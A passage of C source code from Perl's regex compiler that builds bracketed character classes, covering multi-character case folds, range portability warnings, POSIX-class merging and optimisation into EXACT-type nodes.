not do this * for the other cases because it can often lead to non-intuitive * results. For example, you have the peculiar case that: * "s s" =~ /^[^\xDF]+$/i => Y * "ss" =~ /^[^\xDF]+$/i => N * * See [perl #89750] */ if (FOLD && allow_mutiple_chars && value == prevvalue) { if ( value == LATIN_SMALL_LETTER_SHARP_S || (value > 255 && _invlist_contains_cp(PL_HasMultiCharFold, value))) { /* Here <value> is indeed a multi-char fold. Get what it is */ U8 foldbuf[UTF8_MAXBYTES_CASE+1]; STRLEN foldlen; UV folded = _to_uni_fold_flags( value, foldbuf, &foldlen, FOLD_FLAGS_FULL | (ASCII_FOLD_RESTRICTED ? FOLD_FLAGS_NOMIX_ASCII : 0) ); /* Here, <folded> should be the first character of the * multi-char fold of <value>, with <foldbuf> containing the * whole thing. But, if this fold is not allowed (because of * the flags), <fold> will be the same as <value>, and should * be processed like any other character, so skip the special * handling */ if (folded != value) { /* Skip if we are recursed, currently parsing the class * again. Otherwise add this character to the list of * multi-char folds. */ if (! RExC_in_multi_char_class) { STRLEN cp_count = utf8_length(foldbuf, foldbuf + foldlen); SV* multi_fold = sv_2mortal(newSVpvs("")); Perl_sv_catpvf(aTHX_ multi_fold, "\\x{%" UVXf "}", value); multi_char_matches = add_multi_match(multi_char_matches, multi_fold, cp_count); } /* This element should not be processed further in this * class */ element_count--; value = save_value; prevvalue = save_prevvalue; continue; } } } if (strict && ckWARN(WARN_REGEXP)) { if (range) { /* If the range starts above 255, everything is portable and * likely to be so for any forseeable character set, so don't * warn. */ if (unicode_range && non_portable_endpoint && prevvalue < 256) { vWARN(RExC_parse, "Both or neither range ends should be Unicode"); } else if (prevvalue != value) { /* Under strict, ranges that stop and/or end in an ASCII * printable should have each end point be a portable value * for it (preferably like 'A', but we don't warn if it is * a (portable) Unicode name or code point), and the range * must be be all digits or all letters of the same case. * Otherwise, the range is non-portable and unclear as to * what it contains */ if ( (isPRINT_A(prevvalue) || isPRINT_A(value)) && ( non_portable_endpoint || ! ( (isDIGIT_A(prevvalue) && isDIGIT_A(value)) || (isLOWER_A(prevvalue) && isLOWER_A(value)) || (isUPPER_A(prevvalue) && isUPPER_A(value)) ))) { vWARN(RExC_parse, "Ranges of ASCII printables should" " be some subset of \"0-9\"," " \"A-Z\", or \"a-z\""); } else if (prevvalue >= FIRST_NON_ASCII_DECIMAL_DIGIT) { SSize_t index_start; SSize_t index_final; /* But the nature of Unicode and languages mean we * can't do the same checks for above-ASCII ranges, * except in the case of digit ones. These should * contain only digits from the same group of 10. The * ASCII case is handled just above. Hence here, the * range could be a range of digits. First some * unlikely special cases. Grandfather in that a range * ending in 19DA (NEW TAI LUE THAM DIGIT ONE) is bad * if its starting value is one of the 10 digits prior * to it. This is because it is an alternate way of * writing 19D1, and some people may expect it to be in * that group. But it is bad, because it won't give * the expected results. In Unicode 5.2 it was * considered to be in that group (of 11, hence), but * this was fixed in the next version */ if (UNLIKELY(value == 0x19DA && prevvalue >= 0x19D0)) { goto warn_bad_digit_range; } else if (UNLIKELY( prevvalue >= 0x1D7CE && value <= 0x1D7FF)) { /* This is the only other case currently in Unicode * where the algorithm below fails. The code * points just above are the end points of a single * range containing only decimal digits. It is 5 * different series of 0-9. All other ranges of * digits currently in Unicode are just a single * series. (And mktables will notify us if a later * Unicode version breaks this.) * * If the range being checked is at most 9 long, * and the digit values represented are in * numerical order, they are from the same series. * */ if ( value - prevvalue > 9 || ((( value - 0x1D7CE) % 10) <= (prevvalue - 0x1D7CE) % 10)) { goto warn_bad_digit_range; } } else { /* For all other ranges of digits in Unicode, the * algorithm is just to check if both end points * are in the same series, which is the same range. * */ index_start = _invlist_search( PL_XPosix_ptrs[_CC_DIGIT], prevvalue); /* Warn if the range starts and ends with a digit, * and they are not in the same group of 10. */ if ( index_start >= 0 && ELEMENT_RANGE_MATCHES_INVLIST(index_start) && (index_final = _invlist_search(PL_XPosix_ptrs[_CC_DIGIT], value)) != index_start && index_final >= 0 && ELEMENT_RANGE_MATCHES_INVLIST(index_final)) { warn_bad_digit_range: vWARN(RExC_parse, "Ranges of digits should be" " from the same group of" " 10"); } } } } } if ((! range || prevvalue == value) && non_portable_endpoint) { if (isPRINT_A(value)) { char literal[3]; unsigned d = 0; if (isBACKSLASHED_PUNCT(value)) { literal[d++] = '\\'; } literal[d++] = (char) value; literal[d++] = '\0'; vWARN4(RExC_parse, "\"%.*s\" is more clearly written simply as \"%s\"", (int) (RExC_parse - rangebegin), rangebegin, literal ); } else if isMNEMONIC_CNTRL(value) { vWARN4(RExC_parse, "\"%.*s\" is more clearly written simply as \"%s\"", (int) (RExC_parse - rangebegin), rangebegin, cntrl_to_mnemonic((U8) value) ); } } } /* Deal with this element of the class */ #ifndef EBCDIC cp_foldable_list = _add_range_to_invlist(cp_foldable_list, prevvalue, value); #else /* On non-ASCII platforms, for ranges that span all of 0..255, and ones * that don't require special handling, we can just add the range like * we do for ASCII platforms */ if ((UNLIKELY(prevvalue == 0) && value >= 255) || ! (prevvalue < 256 && (unicode_range || (! non_portable_endpoint && ((isLOWER_A(prevvalue) && isLOWER_A(value)) || (isUPPER_A(prevvalue) && isUPPER_A(value))))))) { cp_foldable_list = _add_range_to_invlist(cp_foldable_list, prevvalue, value); } else { /* Here, requires special handling. This can be because it is a * range whose code points are considered to be Unicode, and so * must be individually translated into native, or because its a * subrange of 'A-Z' or 'a-z' which each aren't contiguous in * EBCDIC, but we have defined them to include only the "expected" * upper or lower case ASCII alphabetics. Subranges above 255 are * the same in native and Unicode, so can be added as a range */ U8 start = NATIVE_TO_LATIN1(prevvalue); unsigned j; U8 end = (value < 256) ? NATIVE_TO_LATIN1(value) : 255; for (j = start; j <= end; j++) { cp_foldable_list = add_cp_to_invlist(cp_foldable_list, LATIN1_TO_NATIVE(j)); } if (value > 255) { cp_foldable_list = _add_range_to_invlist(cp_foldable_list, 256, value); } } #endif range = 0; /* this range (if it was one) is done now */ } /* End of loop through all the text within the brackets */ if ( posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0) { output_posix_warnings(pRExC_state, posix_warnings); } /* If anything in the class expands to more than one character, we have to * deal with them by building up a substitute parse string, and recursively * calling reg() on it, instead of proceeding */ if (multi_char_matches) { SV * substitute_parse = newSVpvn_flags("?:", 2, SVs_TEMP); I32 cp_count; STRLEN len; char *save_end = RExC_end; char *save_parse = RExC_parse; char *save_start = RExC_start; Size_t constructed_prefix_len = 0; /* This gives the length of the constructed portion of the substitute parse. */ bool first_time = TRUE; /* First multi-char occurrence doesn't get a "|" */ I32 reg_flags; assert(! invert); /* Only one level of recursion allowed */ assert(RExC_copy_start_in_constructed == RExC_precomp); #if 0 /* Have decided not to deal with multi-char folds in inverted classes, because too confusing */ if (invert) { sv_catpvs(substitute_parse, "(?:"); } #endif /* Look at the longest folds first */ for (cp_count = av_tindex_skip_len_mg(multi_char_matches); cp_count > 0; cp_count--) { if (av_exists(multi_char_matches, cp_count)) { AV** this_array_ptr; SV* this_sequence; this_array_ptr = (AV**) av_fetch(multi_char_matches, cp_count, FALSE); while ((this_sequence = av_pop(*this_array_ptr)) != &PL_sv_undef) { if (! first_time) { sv_catpvs(substitute_parse, "|"); } first_time = FALSE; sv_catpv(substitute_parse, SvPVX(this_sequence)); } } } /* If the character class contains anything else besides these * multi-character folds, have to include it in recursive parsing */ if (element_count) { sv_catpvs(substitute_parse, "|["); constructed_prefix_len = SvCUR(substitute_parse); sv_catpvn(substitute_parse, orig_parse, RExC_parse - orig_parse); /* Put in a closing ']' only if not going off the end, as otherwise * we are adding something that really isn't there */ if (RExC_parse < RExC_end) { sv_catpvs(substitute_parse, "]"); } } sv_catpvs(substitute_parse, ")"); #if 0 if (invert) { /* This is a way to get the parse to skip forward a whole named * sequence instead of matching the 2nd character when it fails the * first */ sv_catpvs(substitute_parse, "(*THEN)(*SKIP)(*FAIL)|.)"); } #endif /* Set up the data structure so that any errors will be properly * reported. See the comments at the definition of * REPORT_LOCATION_ARGS for details */ RExC_copy_start_in_input = (char *) orig_parse; RExC_start = RExC_parse = SvPV(substitute_parse, len); RExC_copy_start_in_constructed = RExC_start + constructed_prefix_len; RExC_end = RExC_parse + len; RExC_in_multi_char_class = 1; ret = reg(pRExC_state, 1, &reg_flags, depth+1); *flagp |= reg_flags & (HASWIDTH|SIMPLE|SPSTART|POSTPONED|RESTART_PARSE|NEED_UTF8); /* And restore so can parse the rest of the pattern */ RExC_parse = save_parse; RExC_start = RExC_copy_start_in_constructed = RExC_copy_start_in_input = save_start; RExC_end = save_end; RExC_in_multi_char_class = 0; SvREFCNT_dec_NN(multi_char_matches); return ret; } /* If folding, we calculate all characters that could fold to or from the * ones already on the list */ if (cp_foldable_list) { if (FOLD) { UV start, end; /* End points of code point ranges */ SV* fold_intersection = NULL; SV** use_list; /* Our calculated list will be for Unicode rules. For locale * matching, we have to keep a separate list that is consulted at * runtime only when the locale indicates Unicode rules (and we * don't include potential matches in the ASCII/Latin1 range, as * any code point could fold to any other, based on the run-time * locale). For non-locale, we just use the general list */ if (LOC) { use_list = &only_utf8_locale_list; } else { use_list = &cp_list; } /* Only the characters in this class that participate in folds need * be checked. Get the intersection of this class and all the * possible characters that are foldable. This can quickly narrow * down a large class */ _invlist_intersection(PL_in_some_fold, cp_foldable_list, &fold_intersection); /* Now look at the foldable characters in this class individually */ invlist_iterinit(fold_intersection); while (invlist_iternext(fold_intersection, &start, &end)) { UV j; UV folded; /* Look at every character in the range */ for (j = start; j <= end; j++) { U8 foldbuf[UTF8_MAXBYTES_CASE+1]; STRLEN foldlen; unsigned int k; Size_t folds_count; unsigned int first_fold; const unsigned int * remaining_folds; if (j < 256) { /* Under /l, we don't know what code points below 256 * fold to, except we do know the MICRO SIGN folds to * an above-255 character if the locale is UTF-8, so we * add it to the special list (in *use_list) Otherwise * we know now what things can match, though some folds * are valid under /d only if the target is UTF-8. * Those go in a separate list */ if ( IS_IN_SOME_FOLD_L1(j) && ! (LOC && j != MICRO_SIGN)) { /* ASCII is always matched; non-ASCII is matched * only under Unicode rules (which could happen * under /l if the locale is a UTF-8 one */ if (isASCII(j) || ! DEPENDS_SEMANTICS) { *use_list = add_cp_to_invlist(*use_list, PL_fold_latin1[j]); } else if (j != PL_fold_latin1[j]) { upper_latin1_only_utf8_matches = add_cp_to_invlist( upper_latin1_only_utf8_matches, PL_fold_latin1[j]); } } if (HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(j) && (! isASCII(j) || ! ASCII_FOLD_RESTRICTED)) { add_above_Latin1_folds(pRExC_state, (U8) j, use_list); } continue; } /* Here is an above Latin1 character. We don't have the * rules hard-coded for it. First, get its fold. This is * the simple fold, as the multi-character folds have been * handled earlier and separated out */ folded = _to_uni_fold_flags(j, foldbuf, &foldlen, (ASCII_FOLD_RESTRICTED) ? FOLD_FLAGS_NOMIX_ASCII : 0); /* Single character fold of above Latin1. Add everything * in its fold closure to the list that this node should * match. */ folds_count = _inverse_folds(folded, &first_fold, &remaining_folds); for (k = 0; k <= folds_count; k++) { UV c = (k == 0) /* First time through use itself */ ? folded : (k == 1) /* 2nd time use, the first fold */ ? first_fold /* Then the remaining ones */ : remaining_folds[k-2]; /* /aa doesn't allow folds between ASCII and non- */ if (( ASCII_FOLD_RESTRICTED && (isASCII(c) != isASCII(j)))) { continue; } /* Folds under /l which cross the 255/256 boundary are * added to a separate list. (These are valid only * when the locale is UTF-8.) */ if (c < 256 && LOC) { *use_list = add_cp_to_invlist(*use_list, c); continue; } if (isASCII(c) || c > 255 || AT_LEAST_UNI_SEMANTICS) { cp_list = add_cp_to_invlist(cp_list, c); } else { /* Similarly folds involving non-ascii Latin1 * characters under /d are added to their list */ upper_latin1_only_utf8_matches = add_cp_to_invlist( upper_latin1_only_utf8_matches, c); } } } } SvREFCNT_dec_NN(fold_intersection); } /* Now that we have finished adding all the folds, there is no reason * to keep the foldable list separate */ _invlist_union(cp_list, cp_foldable_list, &cp_list); SvREFCNT_dec_NN(cp_foldable_list); } /* And combine the result (if any) with any inversion lists from posix * classes. The lists are kept separate up to now because we don't want to * fold the classes */ if (simple_posixes) { /* These are the classes known to be unaffected by /a, /aa, and /d */ if (cp_list) { _invlist_union(cp_list, simple_posixes, &cp_list); SvREFCNT_dec_NN(simple_posixes); } else { cp_list = simple_posixes; } } if (posixes || nposixes) { if (! DEPENDS_SEMANTICS) { /* For everything but /d, we can just add the current 'posixes' and * 'nposixes' to the main list */ if (posixes) { if (cp_list) { _invlist_union(cp_list, posixes, &cp_list); SvREFCNT_dec_NN(posixes); } else { cp_list = posixes; } } if (nposixes) { if (cp_list) { _invlist_union(cp_list, nposixes, &cp_list); SvREFCNT_dec_NN(nposixes); } else { cp_list = nposixes; } } } else { /* Under /d, things like \w match upper Latin1 characters only if * the target string is in UTF-8. But things like \W match all the * upper Latin1 characters if the target string is not in UTF-8. * * Handle the case with something like \W separately */ if (nposixes) { SV* only_non_utf8_list = invlist_clone(PL_UpperLatin1, NULL); /* A complemented posix class matches all upper Latin1 * characters if not in UTF-8. And it matches just certain * ones when in UTF-8. That means those certain ones are * matched regardless, so can just be added to the * unconditional list */ if (cp_list) { _invlist_union(cp_list, nposixes, &cp_list); SvREFCNT_dec_NN(nposixes); nposixes = NULL; } else { cp_list = nposixes; } /* Likewise for 'posixes' */ _invlist_union(posixes, cp_list, &cp_list); SvREFCNT_dec(posixes); /* Likewise for anything else in the range that matched only * under UTF-8 */ if (upper_latin1_only_utf8_matches) { _invlist_union(cp_list, upper_latin1_only_utf8_matches, &cp_list); SvREFCNT_dec_NN(upper_latin1_only_utf8_matches); upper_latin1_only_utf8_matches = NULL; } /* If we don't match all the upper Latin1 characters regardless * of UTF-8ness, we have to set a flag to match the rest when * not in UTF-8 */ _invlist_subtract(only_non_utf8_list, cp_list, &only_non_utf8_list); if (_invlist_len(only_non_utf8_list) != 0) { anyof_flags |= ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER; } SvREFCNT_dec_NN(only_non_utf8_list); } else { /* Here there were no complemented posix classes. That means * the upper Latin1 characters in 'posixes' match only when the * target string is in UTF-8. So we have to add them to the * list of those types of code points, while adding the * remainder to the unconditional list. * * First calculate what they are */ SV* nonascii_but_latin1_properties = NULL; _invlist_intersection(posixes, PL_UpperLatin1, &nonascii_but_latin1_properties); /* And add them to the final list of such characters. */ _invlist_union(upper_latin1_only_utf8_matches, nonascii_but_latin1_properties, &upper_latin1_only_utf8_matches); /* Remove them from what now becomes the unconditional list */ _invlist_subtract(posixes, nonascii_but_latin1_properties, &posixes); /* And add those unconditional ones to the final list */ if (cp_list) { _invlist_union(cp_list, posixes, &cp_list); SvREFCNT_dec_NN(posixes); posixes = NULL; } else { cp_list = posixes; } SvREFCNT_dec(nonascii_but_latin1_properties); /* Get rid of any characters from the conditional list that we * now know are matched unconditionally, which may make that * list empty */ _invlist_subtract(upper_latin1_only_utf8_matches, cp_list, &upper_latin1_only_utf8_matches); if (_invlist_len(upper_latin1_only_utf8_matches) == 0) { SvREFCNT_dec_NN(upper_latin1_only_utf8_matches); upper_latin1_only_utf8_matches = NULL; } } } } /* And combine the result (if any) with any inversion list from properties. * The lists are kept separate up to now so that we can distinguish the two * in regards to matching above-Unicode. A run-time warning is generated * if a Unicode property is matched against a non-Unicode code point. But, * we allow user-defined properties to match anything, without any warning, * and we also suppress the warning if there is a portion of the character * class that isn't a Unicode property, and which matches above Unicode, \W * or [\x{110000}] for example. * (Note that in this case, unlike the Posix one above, there is no * <upper_latin1_only_utf8_matches>, because having a Unicode property * forces Unicode semantics */ if (properties) { if (cp_list) { /* If it matters to the final outcome, see if a non-property * component of the class matches above Unicode. If so, the * warning gets suppressed. This is true even if just a single * such code point is specified, as, though not strictly correct if * another such code point is matched against, the fact that they * are using above-Unicode code points indicates they should know * the issues involved */ if (warn_super) { warn_super = ! (invert ^ (invlist_highest(cp_list) > PERL_UNICODE_MAX)); } _invlist_union(properties, cp_list, &cp_list); SvREFCNT_dec_NN(properties); } else { cp_list = properties; } if (warn_super) { anyof_flags |= ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER; /* Because an ANYOF node is the only one that warns, this node * can't be optimized into something else */ optimizable = FALSE; } } /* Here, we have calculated what code points should be in the character * class. * * Now we can see about various optimizations. Fold calculation (which we * did above) needs to take place before inversion. Otherwise /[^k]/i * would invert to include K, which under /i would match k, which it * shouldn't. Therefore we can't invert folded locale now, as it won't be * folded until runtime */ /* If we didn't do folding, it's because some information isn't available * until runtime; set the run-time fold flag for these We know to set the * flag if we have a non-NULL list for UTF-8 locales, or the class matches * at least one 0-255 range code point */ if (LOC && FOLD) { /* Some things on the list might be unconditionally included because of * other components. Remove them, and clean up the list if it goes to * 0 elements */ if (only_utf8_locale_list && cp_list) { _invlist_subtract(only_utf8_locale_list, cp_list, &only_utf8_locale_list); if (_invlist_len(only_utf8_locale_list) == 0) { SvREFCNT_dec_NN(only_utf8_locale_list); only_utf8_locale_list = NULL; } } if ( only_utf8_locale_list || (cp_list && ( _invlist_contains_cp(cp_list, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE) || _invlist_contains_cp(cp_list, LATIN_SMALL_LETTER_DOTLESS_I)))) { has_runtime_dependency |= HAS_L_RUNTIME_DEPENDENCY; anyof_flags |= ANYOFL_FOLD | ANYOFL_SHARED_UTF8_LOCALE_fold_HAS_MATCHES_nonfold_REQD; } else if (cp_list) { /* Look to see if a 0-255 code point is in list */ UV start, end; invlist_iterinit(cp_list); if (invlist_iternext(cp_list, &start, &end) && start < 256) { anyof_flags |= ANYOFL_FOLD; has_runtime_dependency |= HAS_L_RUNTIME_DEPENDENCY; } invlist_iterfinish(cp_list); } } else if ( DEPENDS_SEMANTICS && ( upper_latin1_only_utf8_matches || (anyof_flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER))) { RExC_seen_d_op = TRUE; has_runtime_dependency |= HAS_D_RUNTIME_DEPENDENCY; } /* Optimize inverted patterns (e.g. [^a-z]) when everything is known at * compile time. */ if ( cp_list && invert && ! has_runtime_dependency) { _invlist_invert(cp_list); /* Clear the invert flag since have just done it here */ invert = FALSE; } if (ret_invlist) { *ret_invlist = cp_list; return RExC_emit; } /* All possible optimizations below still have these characteristics. * (Multi-char folds aren't SIMPLE, but they don't get this far in this * routine) */ *flagp |= HASWIDTH|SIMPLE; if (anyof_flags & ANYOF_LOCALE_FLAGS) { RExC_contains_locale = 1; } /* Some character classes are equivalent to other nodes. Such nodes take * up less room, and some nodes require fewer operations to execute, than * ANYOF nodes. EXACTish nodes may be joinable with adjacent nodes to * improve efficiency. */ if (optimizable) { PERL_UINT_FAST8_T i; Size_t partial_cp_count = 0; UV start[MAX_FOLD_FROMS+1] = { 0 }; /* +1 for the folded-to char */ UV end[MAX_FOLD_FROMS+1] = { 0 }; if (cp_list) { /* Count the code points in enough ranges that we would see all the ones possible in any fold in this version of Unicode */ invlist_iterinit(cp_list); for (i = 0; i <= MAX_FOLD_FROMS; i++) { if (! invlist_iternext(cp_list, &start[i], &end[i])) { break; } partial_cp_count += end[i] - start[i] + 1; } invlist_iterfinish(cp_list); } /* If we know at compile time that this matches every possible code * point, any run-time dependencies don't matter */ if (start[0] == 0 && end[0] == UV_MAX) { if (invert) { ret = reganode(pRExC_state, OPFAIL, 0); } else { ret = reg_node(pRExC_state, SANY); MARK_NAUGHTY(1); } goto not_anyof; } /* Similarly, for /l posix classes, if both a class and its * complement match, any run-time dependencies don't matter */ if (posixl) { for (namedclass = 0; namedclass < ANYOF_POSIXL_MAX; namedclass += 2) { if ( POSIXL_TEST(posixl, namedclass) /* class */ && POSIXL_TEST(posixl, namedclass + 1)) /* its complement */ { if (invert) { ret = reganode(pRExC_state, OPFAIL, 0); } else { ret = reg_node(pRExC_state, SANY); MARK_NAUGHTY(1); } goto not_anyof; } } /* For well-behaved locales, some classes are subsets of others, * so complementing the subset and including the non-complemented * superset should match everything, like [\D[:alnum:]], and * [[:^alpha:][:alnum:]], but some implementations of locales are * buggy, and khw thinks its a bad idea to have optimization change * behavior, even if it avoids an OS bug in a given case */ #define isSINGLE_BIT_SET(n) isPOWER_OF_2(n) /* If is a single posix /l class, can optimize to just that op. * Such a node will not match anything in the Latin1 range, as that * is not determinable until runtime, but will match whatever the * class does outside that range. (Note that some classes won't * match anything outside the range, like [:ascii:]) */ if ( isSINGLE_BIT_SET(posixl) && (partial_cp_count == 0 || start[0] > 255)) { U8 classnum; SV * class_above_latin1 = NULL; bool already_inverted; bool are_equivalent; /* Compute which bit is set, which is the same thing as, e.g., * ANYOF_CNTRL. From * https://graphics.stanford.edu/~seander/bithacks.html#IntegerLogDeBruijn * */ static const int MultiplyDeBruijnBitPosition2[32] = { 0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8, 31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9 }; namedclass = MultiplyDeBruijnBitPosition2[(posixl * 0x077CB531U) >> 27]; classnum = namedclass_to_classnum(namedclass); /* The named classes are such that the inverted number is one * larger than the non-inverted one */ already_inverted = namedclass - classnum_to_namedclass(classnum); /* Create an inversion list of the official property, inverted * if the constructed node list is inverted, and restricted to * only the above latin1 code points, which are the only ones * known at compile time */ _invlist_intersection_maybe_complement_2nd( PL_AboveLatin1, PL_XPosix_ptrs[classnum], already_inverted, &class_above_latin1); are_equivalent = _invlistEQ(class_above_latin1, cp_list, FALSE); SvREFCNT_dec_NN(class_above_latin1); if (are_equivalent) { /* Resolve the run-time inversion flag with this possibly * inverted class */ invert = invert ^ already_inverted; ret = reg_node(pRExC_state, POSIXL + invert * (NPOSIXL - POSIXL)); FLAGS(REGNODE_p(ret)) = classnum; goto not_anyof; } } } /* khw can't think of any other possible transformation involving * these. */ if (has_runtime_dependency & HAS_USER_DEFINED_PROPERTY) { goto is_anyof; } if (! has_runtime_dependency) { /* If the list is empty, nothing matches. This happens, for * example, when a Unicode property that doesn't match anything is * the only element in the character class (perluniprops.pod notes * such properties). */ if (partial_cp_count == 0) { if (invert) { ret = reg_node(pRExC_state, SANY); } else { ret = reganode(pRExC_state, OPFAIL, 0); } goto not_anyof; } /* If matches everything but \n */ if ( start[0] == 0 && end[0] == '\n' - 1 && start[1] == '\n' + 1 && end[1] == UV_MAX) { assert (! invert); ret = reg_node(pRExC_state, REG_ANY); MARK_NAUGHTY(1); goto not_anyof; } } /* Next see if can optimize classes that contain just a few code points * into an EXACTish node. The reason to do this is to let the * optimizer join this node with adjacent EXACTish ones. * * An EXACTFish node can be generated even if not under /i, and vice * versa. But care must be taken. An EXACTFish node has to be such * that it only matches precisely the code points in the class, but we * want to generate the least restrictive one that does that, to * increase the odds of being able to join with an adjacent node. For * example, if the class contains [kK], we have to make it an EXACTFAA * node to prevent the KELVIN SIGN from matching. Whether we are under * /i or not is irrelevant in this case. Less obvious is the pattern * qr/[\x{02BC}]n/i. U+02BC is MODIFIER LETTER APOSTROPHE. That is * supposed to match the single character U+0149 LATIN SMALL LETTER N * PRECEDED BY APOSTROPHE. And so even though there is no simple fold * that includes \X{02BC}, there is a multi-char fold that does, and so * the node generated for it must be an EXACTFish one. On the other * hand qr/:/i should generate a plain EXACT node since the colon * participates in no fold whatsoever, and having it EXACT tells the * optimizer the target string cannot match unless it has a colon in * it. * * We don't typically generate an EXACTish node if doing so would * require changing the pattern to UTF-8, as that affects /d and * otherwise is slower. However, under /i, not changing to UTF-8 can * miss some potential multi-character folds. We calculate the * EXACTish node, and then decide if something would be missed if we * don't upgrade */ if ( ! posixl && ! invert /* Only try if there are no more code points in the class than * in the max possible fold */ && partial_cp_count > 0 && partial_cp_count <= MAX_FOLD_FROMS + 1 && (start[0] < 256 || UTF || FOLD)) { if (partial_cp_count == 1 && ! upper_latin1_only_utf8_matches) { /* We can always make a single code point class into an * EXACTish node. */ if (LOC) { /* Here is /l: Use EXACTL, except /li indicates EXACTFL, * as that means there is a fold not known until runtime so * shows as only a single code point here. */ op = (FOLD) ? EXACTFL : EXACTL; } else if (! FOLD) { /* Not /l and not /i */ op = (start[0] < 256) ? EXACT : EXACT_ONLY8; } else if (start[0] < 256) { /* /i, not /l, and the code point is small */ /* Under /i, it gets a little tricky. A code point that * doesn't participate in a fold should be an EXACT node. * We know this one isn't the result of a simple fold, or * there'd be more than one code point in the list, but it * could be part of a multi- character fold. In that case * we better not create an EXACT node, as we would wrongly * be telling the optimizer that this code point must be in * the target string, and that is wrong. This is because * if the sequence around this code point forms a * multi-char fold, what needs to be in the string could be * the code point that folds to the sequence. * * This handles the case of below-255 code points, as we * have an easy look up for those. The next clause handles * the above-256 one */ op = IS_IN_SOME_FOLD_L1(start[0]) ? EXACTFU : EXACT; } else { /* /i, larger code point. Since we are under /i, and have just this code point, we know that it can't fold to something else, so PL_InMultiCharFold applies to it */ op = _invlist_contains_cp(PL_InMultiCharFold, start[0]) ? EXACTFU_ONLY8 : EXACT_ONLY8; } value = start[0]; } else if ( ! (has_runtime_dependency & ~HAS_D_RUNTIME_DEPENDENCY) && _invlist_contains_cp(PL_in_some_fold, start[0])) { /* Here, the only runtime dependency, if any, is from /d, and * the class matches more than one code point, and the lowest * code point participates in some fold. It might be that the * other code points are /i equivalent to this one, and hence * they would representable by an EXACTFish node. Above, we * eliminated classes that contain too many code points to be * EXACTFish, with the test for MAX_FOLD_FROMS * * First, special case the ASCII fold pairs, like 'B' and 'b'. * We do this because we have EXACTFAA at our disposal for the * ASCII range */ if (partial_cp_count == 2 && isASCII(start[0])) { /* The only ASCII characters that participate in folds are * alphabetics */ assert(isALPHA(start[0])); if ( end[0] == start[0] /* First range is a single character, so 2nd exists */ && isALPHA_FOLD_EQ(start[0], start[1])) { /* Here, is part of an ASCII fold pair */ if ( ASCII_FOLD_RESTRICTED || HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(start[0])) { /* If the second clause just above was true, it * means we can't be under /i, or else the list * would have included more than this fold pair. * Therefore we have to exclude the possibility of * whatever else it is that folds to these, by * using EXACTFAA */ op = EXACTFAA; } else if (HAS_NONLATIN1_FOLD_CLOSURE(start[0])) { /* Here, there's no simple fold that start[0] is part * of, but there is a multi-character one. If we * are not under /i, we want to exclude that * possibility; if under /i, we want to include it * */ op = (FOLD) ? EXACTFU : EXACTFAA; } else { /* Here, the only possible fold start[0] particpates in * is with start[1]. /i or not isn't relevant */ op = EXACTFU; } value = toFOLD(start[0]); } } else if ( ! upper_latin1_only_utf8_matches || ( _invlist_len(upper_latin1_only_utf8_matches) == 2 && PL_fold_latin1[ invlist_highest(upper_latin1_only_utf8_matches)] == start[0])) { /* Here, the smallest character is non-ascii or there are * more than 2 code points matched by this node. Also, we * either don't have /d UTF-8 dependent matches, or if we * do, they look like they could be a single character that * is the fold of the lowest one in the always-match list. * This test quickly excludes most of the false positives * when there are /d UTF-8 depdendent matches. These are * like LATIN CAPITAL LETTER A WITH GRAVE matching LATIN * SMALL LETTER A WITH GRAVE iff the target string is * UTF-8. (We don't have to worry above about exceeding * the array bounds of PL_fold_latin1[] because any code * point in 'upper_latin1_only_utf8_matches' is below 256.) * * EXACTFAA would apply only to pairs (hence exactly 2 code * points) in the ASCII range, so we can't use it here to * artificially restrict the fold domain, so we check if * the class does or does not match some EXACTFish node. * Further, if we aren't under /i, and and the folded-to * character is part of a multi-character fold, we can't do * this optimization, as the sequence around it could be * that multi-character fold, and we don't here know the * context, so we have to assume it is that multi-char * fold, to prevent potential bugs. * * To do the general case, we first find the fold of the * lowest code point (which may be higher than the lowest * one), then find everything that folds to it. (The data * structure we have only maps from the folded code points, * so we have to do the earlier step.) */ Size_t foldlen; U8 foldbuf[UTF8_MAXBYTES_CASE]; UV folded = _to_uni_fold_flags(start[0], foldbuf, &foldlen, 0); unsigned int first_fold; const unsigned int * remaining_folds; Size_t folds_to_this_cp_count = _inverse_folds( folded, &first_fold, &remaining_folds); Size_t folds_count = folds_to_this_cp_count + 1; SV * fold_list = _new_invlist(folds_count); unsigned int i; /* If there are UTF-8 dependent matches, create a temporary * list of what this node matches, including them. */ SV * all_cp_list = NULL; SV ** use_this_list = &cp_list; if (upper_latin1_only_utf8_matches) { all_cp_list = _new_invlist(0); use_this_list = &all_cp_list; _invlist_union(cp_list, upper_latin1_only_utf8_matches, use_this_list); } /* Having gotten everything that participates in the fold * containing the lowest code point, we turn that into an * inversion list, making sure everything is included. */ fold_list = add_cp_to_invlist(fold_list, start[0]); fold_list = add_cp_to_invlist(fold_list, folded); if (folds_to_this_cp_count > 0) { fold_list = add_cp_to_invlist(fold_list, first_fold); for (i = 0; i + 1 < folds_to_this_cp_count; i++) { fold_list = add_cp_to_invlist(fold_list, remaining_folds[i]); } } /* If the fold list is identical to what's in this ANYOF * node, the node can be represented by an EXACTFish one * instead */ if (_invlistEQ(*use_this_list, fold_list, 0 /* Don't complement */ ) ) { /* But, we have to be careful, as mentioned above. * Just the right sequence of characters could match * this if it is part of a multi-character fold. That * IS what we want if we are under /i. But it ISN'T * what we want if not under /i, as it could match when * it shouldn't. So, when we aren't under /i and this * character participates in a multi-char fold, we * don't optimize into an EXACTFish node. So, for each * case below we have to check if we are folding * and if not, if it is not part of a multi-char fold. * */ if (start[0] > 255) { /* Highish code point */ if (FOLD || ! _invlist_contains_cp( PL_InMultiCharFold, folded)) { op = (LOC) ? EXACTFLU8 : (ASCII_FOLD_RESTRICTED) ? EXACTFAA : EXACTFU_ONLY8; value = folded; } } /* Below, the lowest code point < 256 */ else if ( FOLD && folded == 's' && DEPENDS_SEMANTICS) { /* An EXACTF node containing a single character 's', can be an EXACTFU if it doesn't get joined with an adjacent 's' */ op = EXACTFU_S_EDGE; 